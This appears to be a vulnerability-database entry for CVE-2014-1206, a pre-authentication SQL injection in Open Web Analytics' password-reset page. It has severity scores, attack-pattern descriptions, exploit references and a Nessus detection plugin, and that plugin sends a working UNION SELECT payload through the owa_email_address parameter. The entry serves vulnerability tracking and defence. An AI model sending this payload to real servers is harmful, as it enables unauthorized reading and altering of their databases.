Vulnerabilities > CVE-2014-1206 - SQL Injection vulnerability in Openwebanalytics Open web Analytics

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
openwebanalytics
CWE-89
nessus
exploit available

Summary

SQL injection vulnerability in the password reset page in Open Web Analytics (OWA) before 1.5.5 allows remote attackers to execute arbitrary SQL commands via the owa_email_address parameter in a base.passwordResetRequest action to index.php.

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Command Line Execution through SQL Injection
    An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
  • Object Relational Mapping Injection
    An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject his or her own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.
  • SQL Injection through SOAP Parameter Tampering
    An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.
  • Expanding Control over the Operating System from the Database
    An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.
  • SQL Injection
    This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input. When specially crafted user-controlled input consisting of SQL syntax is used without proper validation as part of SQL queries, it is possible to glean information from the database in ways not envisaged during application design. Depending upon the database and the design of the application, it may also be possible to leverage injection to have the database execute system-related commands of the attackers' choice. SQL Injection enables an attacker to talk directly to the database, thus bypassing the application completely. Successful injection can cause information disclosure as well as ability to add or modify data in the database. In order to successfully inject SQL and retrieve information from a database, an attacker:

D2sec

nameOpen Web Analytics Password Reset Page owa_email_address Parameter SQL Injection
urlhttp://www.d2sec.com/exploits/open_web_analytics_password_reset_page_owa_email_address_parameter_sql_injection.html

Exploit-Db

descriptionOpen Web Analytics 1.5.4 - (owa_email_address param) SQL Injection Vulnerability. CVE-2014-1206. Webapps exploit for php platform
fileexploits/php/webapps/31738.py
idEDB-ID:31738
last seen2016-02-03
modified2014-02-18
platformphp
port
published2014-02-18
reporterDana James Traversie
sourcehttps://www.exploit-db.com/download/31738/
titleOpen Web Analytics 1.5.4 - owa_email_address param SQL Injection Vulnerability
typewebapps

Nessus

NASL familyCGI abuses
NASL idOPEN_WEB_ANALYTICS_EMAIL_ADDRESS_SQLI.NASL
descriptionThe version of Open Web Analytics hosted on the remote web server fails to sanitize input to the
last seen2020-06-01
modified2020-06-02
plugin id74188
published2014-05-27
reporterThis script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/74188
titleOpen Web Analytics owa_email_address SQL Injection
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(74188);
  script_version("1.7");
  script_cvs_date("Date: 2019/11/26");

  script_cve_id("CVE-2014-1206");
  script_bugtraq_id(64774);
  script_xref(name:"EDB-ID", value:"31738");

  script_name(english:"Open Web Analytics owa_email_address SQL Injection");
  script_summary(english:"Tries to return the script name in the HTTP GET response.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a PHP script that is vulnerable to a SQL
injection attack.");
  script_set_attribute(attribute:"description", value:
"The version of Open Web Analytics hosted on the remote web server
fails to sanitize input to the 'owa_email_address' parameter of the
'index.php' script before using it in a database query.

An unauthenticated remote attacker can leverage this issue to
manipulate database queries, resulting in the disclosure or
manipulation of arbitrary data.");
  script_set_attribute(attribute:"see_also", value:"http://www.secureworks.com/advisories/SWRX-2014-001/SWRX-2014-001.pdf");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2014/Feb/66");
  script_set_attribute(attribute:"see_also", value:"http://wiki.openwebanalytics.com/index.php?title=1.5.5");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Open Web Analytics 1.5.5 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Open Web Analytics Password Reset Page owa_email_address Parameter SQL Injection");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/11/20");
  script_set_attribute(attribute:"patch_publication_date", value:"2013/11/20");
  script_set_attribute(attribute:"plugin_publication_date", value:"2014/05/27");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:openwebanalytics:open_web_analytics");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("open_web_analytics_detect.nbin");
  script_require_keys("www/PHP", "www/openwebanalytics");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");

port = get_http_port(default:80, php:TRUE);

install = get_install_from_kb(appname:'openwebanalytics', port:port, exit_on_fail:TRUE);
dir = install['dir'];
install_url = build_url(port:port, qs:dir+"/");

# This function converts a string to a concatenation of hex chars so we
# can pass in strings without worrying about PHP's magic_quotes_gpc.
function hexify(str)
{
  local_var hstr, i, l;

  l = strlen(str);
  if (l == 0) return "";

  hstr = "concat(";
  for (i=0; i<l; i++)
    hstr += hex(ord(str[i])) + ",";
  hstr[strlen(hstr)-1] = ")";

  return hstr;
}

# Try to exploit the issue to generate a SQL error.
magic = hexify(str:SCRIPT_NAME);

# replace special characters so they work in the request
magic = str_replace(find:"(", replace:"%28", string:magic);
magic = str_replace(find:",", replace:"%2C", string:magic);
magic = str_replace(find:")", replace:"%29", string:magic);

exploit = '-NESSUS%27+UNION+ALL+SELECT+1%2C2%2C3%2C4%2C5%2C' + magic +
  '%2C7%2C8%2C9%2C10%23';
url = dir + '/index.php?owa_submit=Request+New+Password&owa_action=base.passwordResetRequest&' +
  'owa_email_address=' + exploit;

res = http_send_recv3(port:port, method:"GET", item:url, exit_on_fail:TRUE);

if ('Invalid address: '+SCRIPT_NAME >< res[2])
{
  set_kb_item(name:'www/'+port+'/SQLInjection', value:TRUE);

  if (report_verbosity > 0)
  {
    header =
      'Nessus was able to verify the issue by manipulating the email for\n' +
      'a non-existent user\'s email using the following URL';
    report = get_vuln_report(items:url, port:port, header:header);
    security_hole(port:port, extra:report);
  }
  else security_hole(port);
  exit(0);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, 'Open Web Analytics', dir);

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/125241/SWRX-2014-001.txt
idPACKETSTORM:125241
last seen2016-12-05
published2014-02-17
reporterDana James Traversie
sourcehttps://packetstormsecurity.com/files/125241/Open-Web-Analytics-Pre-Auth-SQL-Injection.html
titleOpen Web Analytics Pre-Auth SQL Injection

Seebug

bulletinFamilyexploit
descriptionBUGTRAQ ID: 64774 CVE(CAN) ID: CVE-2014-1206 Open Web Analytics是一个开源的网站流量统计系统。 Open Web Analytics 1.5.4及更早版本没有正确过滤index.php的&quot;owa_email_address&quot;参数(&quot;owa_do&quot;设置为&quot;base.passwordResetForm&quot;,&quot;owa_action&quot;设置为&quot;base.passwordResetRequest&quot;),在实现上存在安全漏洞,可导致注入任意SQL代码。 0 Open Web Analytics Open Web Analytics &lt;= 1.5.4 Open Web Analytics ------------------ 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载: Open Web Analytics: http://wiki.openwebanalytics.com/index.php?title=1.5.5
idSSV:61318
last seen2017-11-19
modified2014-01-13
published2014-01-13
reporterRoot
sourcehttps://www.seebug.org/vuldb/ssvid-61318
titleOpen Web Analytics 'owa_email_address'参数SQL注入漏洞